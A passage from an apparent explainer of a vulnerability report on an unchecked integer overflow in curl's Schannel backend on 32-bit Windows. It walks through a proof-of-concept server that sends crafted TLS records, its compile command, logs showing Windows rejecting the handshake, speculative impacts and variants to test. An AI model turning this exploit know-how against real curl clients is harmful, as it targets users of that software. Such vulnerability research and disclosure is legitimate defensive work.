printfannounces the connection. char buffer[4096];declares a 4096-byte buffer, andrecv(...)reads up to that many bytes from the client. The followingprintfreports how many bytes arrived, labelled as the ClientHello.unsigned char server_hello[] = { ... };is a fixed byte array that forms a minimal ServerHello. The first bytes0x16, 0x03, 0x03, 0x00, 0x31are a handshake record header with a length of 0x31; the rest is the handshake body, including a version, a block of bytes and a small set of fields at the end.send(...)writes that array to the client.send_malicious_record(client_socket);calls the function from the previous block.size_t huge_size = 0x100000;sets a further payload of one megabyte, allocates it, fills it with'X', sends it and frees it.closesocket(client_socket);closes the client connection, and theprintfreports it.- After the loop, which in practice never ends, the code closes the listening socket and cleans up Winsock.
int main()simply callsrun_raw_server()and returns.
Step 3: compile and connect
i686-w64-mingw32-gcc -Wall -Wextra -g3 malicious_server.c -o malicious_server.exe -lws2_32
Line by line:
i686-w64-mingw32-gccis a cross-compiler: it runs on one machine but produces a 32-bit Windows program. Thei686part is the 32-bit target.-Wall -Wextraturn on compiler warnings, so suspicious code is flagged.-g3includes debugging information in the output.malicious_server.cis the source file.-o malicious_server.exenames the output program.-lws2_32links the Winsock library, which the program needs for its networking calls.
curl -k https://localhost:4433/
Line by line:
curlis the client program under test.-kdisables certificate checking, so curl will talk to the homemade server even though its certificate is not trusted.https://localhost:4433/points curl at the local machine on port 4433, the port the malicious server listens on.
What came back
=== Schannel Vulnerability PoC Server (Windows) ===
This server attempts to trigger the integer overflow
in curl's schannel.c by sending crafted TLS responses
[*] Initializing Winsock...
[*] Malicious server listening on port 4433
[*] Test with: curl -k https://localhost:4433
[*] Client connected
[*] Received 1815 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1719 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 1783 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
[*] Client connected
[*] Received 281 bytes (ClientHello)
[*] Sending malicious TLS record...
[*] Sent malicious TLS records
[*] Connection closed
Line by line:
- The first lines are the server's banner, printed at startup.
[*] Initializing Winsock...shows the networking library starting up.[*] Malicious server listening on port 4433confirms the server is ready.[*] Test with: curl -k https://localhost:4433repeats the test command.- Each
[*] Client connectedmarks a new curl attempt. - Each
[*] Received N bytes (ClientHello)records how many bytes the client sent first. [*] Sending malicious TLS record...and[*] Sent malicious TLS recordsshow the crafted records going out.[*] Connection closedmarks the end of that attempt.
On the client side, curl failed before any application data was exchanged:
curl -k https://localhost:4433/
curl: (35) schannel: next InitializeSecurityContext failed: SEC_E_INVALID_TOKEN (0x80090308) - The token supplied to the function is invalid
Line by line:
- The first line repeats the command that was run.
curl: (35)is curl's exit code for an SSL connect error.schannel:says the failure came from the Windows TLS backend.next InitializeSecurityContext failednames the Windows function that was trying to continue the handshake.SEC_E_INVALID_TOKEN (0x80090308)is the Windows error code: the token supplied to the function is invalid.- The trailing text is Windows' own description of that code.
Windows Schannel rejected the malformed TLS handshake with SEC_E_INVALID_TOKEN. The researcher treats this as expected: Windows validates TLS records and rejects obviously malformed ones, so the vulnerable code path, which runs after the connection is established, was not reached in this test. The report states plainly that the only feasible way of exploiting this in practice would require bypassing Windows Schannel validity checks.
Root cause
The addition of the three cbBuffer values is done without an overflow check. On a 32-bit build, if the sizes are large enough, the sum wraps and len becomes small. The researcher's reasoning is that this can lead to incorrect data transmission sizes, TLS protocol violations and memory safety issues, and in the worst case a security bypass if the overflow causes curl to send less data than intended.
Existing defences did stop the practical test: Schannel's own record validation rejected the crafted traffic with SEC_E_INVALID_TOKEN before the vulnerable arithmetic mattered. The report does not describe any technique that gets past that validation.
Impact
The report describes several possible consequences, all conditional on an attacker controlling or compromising a TLS server and on getting EncryptMessage() to return the specific buffer sizes needed to trigger the overflow during data transmission:
- Authentication bypass if credentials are transmitted over TLS: the attacker sends what should be 4GB of encrypted auth data, but due to the overflow only one byte is actually sent, and the server receives incomplete credentials. Credentials are the username and password, or token, that prove who you are; if only part of them arrives, the server may misread what it got.
- Prevention of data exfiltration, by manipulating the TLS handshake to trigger the large buffer sizes again, so that less data than the application expects is transmitted. Exfiltration means data being sent out when it should not be.
- Denial of service, through infinite loops when
lenis very small, a connection that hangs entirely because of the protocol violation, or resource exhaustion from repeated connection attempts. A denial of service is any failure that stops a service working for legitimate users. - In the researcher's view, incomplete security patches being transmitted, partial file transfers that appear complete, and truncated API requests. An API is the interface one program uses to ask another for something; a truncated request is one cut short.
The report does not claim a demonstrated end-to-end exploit; the practical test was rejected by Schannel, and the arithmetic overflow was shown in a standalone program.
Fix
The report does not describe a fix or a code change.
Variants to test
- Build curl against Schannel for 32-bit Windows and instrument the
lencalculation inschannel.cto log the threecbBuffervalues and the resulting sum. A positive result is a logged sum that is smaller than the individual buffer sizes. - Look for other places in curl's TLS backends where multiple buffer lengths are added without an overflow check, for example where record header, payload and trailer sizes are combined. A positive result is a code path where the sum can wrap on a 32-bit build.
- Test whether any Schannel configuration or record shape is accepted by Windows while still producing large
cbBuffervalues fromEncryptMessage(). A positive result is a connection that reaches the data transmission phase with the crafted sizes. - Check 32-bit builds of other applications that use Schannel directly and perform the same unchecked addition of
SecBufferlengths. A positive result is the same wraparound in their send path.
Glossary
- API: the interface one program uses to ask another program or service for something.
- Authentication bypass: getting past a login or identity check without the correct credentials.
- Buffer: a block of memory set aside to hold data, usually with a recorded size.
- cbBuffer: the field inside a Windows
SecBufferstructure that records how many bytes that buffer holds. - ClientHello: the first message a TLS client sends, listing the versions and options it supports.
- Command line tool: a program you run by typing a command rather than clicking buttons.
- Credentials: the username, password or token that prove who you are.
- curl: a command line tool and library for transferring data over many protocols, including HTTPS.
- Denial of service (DoS): any failure that stops a service working for legitimate users.
- EncryptMessage(): the Windows function that encrypts outgoing data through Schannel and returns the resulting buffers.
- Exfiltration: data being sent out of a system when it should not be.
- Handshake: the opening exchange in TLS where client and server agree on keys and options before any data is sent.
- Hexadecimal: base 16 notation, written with a
0xprefix, commonly used to show raw byte values. - htons: a C function that converts a 16-bit number to network byte order.
- Integer: a whole number stored in a fixed amount of computer memory.
- Integer overflow: when the true result of an arithmetic operation does not fit in the number type and silently wraps around.
- Library: a bundle of code that other programs can reuse.
- MinGW: a toolchain that builds Windows programs, often used as a cross-compiler on other systems.
- Port: a numbered channel on a machine that a network service listens on.
- Schannel: Microsoft's native Windows implementation of TLS.
- SecBuffer: a Windows structure describing one buffer of data, including its size in
cbBuffer. - ServerHello: the server's reply to a ClientHello, choosing the version and options to use.
- size_t: the C number type used for sizes and counts; its width depends on whether the build is 32-bit or 64-bit.
- Socket: a handle to a network connection that a program reads from and writes to.
- Structure: a labelled bundle of related values in C.
- TCP: the transport protocol that carries bytes reliably and in order between two machines.
- TLS: the protocol that encrypts and authenticates HTTPS traffic.
- TLS record: the envelope TLS puts around each chunk of data, with a header, payload and trailer.
- Trailer: the closing part of a TLS record, carrying integrity information.
- Truncated: cut short, so that part of the intended data is missing.
- Winsock: the Windows networking library that programs use for sockets.
- 32-bit / 64-bit build: whether a program uses number types that top out at around four billion or far higher; 32-bit builds overflow sooner.